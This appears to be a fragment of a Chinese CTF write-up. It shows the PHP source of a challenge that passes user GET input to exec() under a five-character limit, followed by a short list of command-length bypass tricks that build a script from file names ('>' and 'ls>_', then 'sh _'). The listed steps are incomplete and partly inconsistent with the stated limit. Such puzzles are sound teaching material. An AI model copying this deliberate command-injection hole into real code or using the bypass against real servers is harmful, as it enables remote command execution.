1. <?php
    2. $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    3. @mkdir($sandbox);
    4. @chdir($sandbox);
    5. if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    6. @exec($_GET['cmd']);
    7. } else if (isset($_GET['reset'])) {
    8. @exec('/bin/rm -rf ' . $sandbox);
    9. }
    10. highlight_file(__FILE__);

    可以看到本题要求大家输入命令必须小于等于5个字符。

    1. mv /f* ./
    2. >mv\
    3. >
    4. ls>_
    5. sh _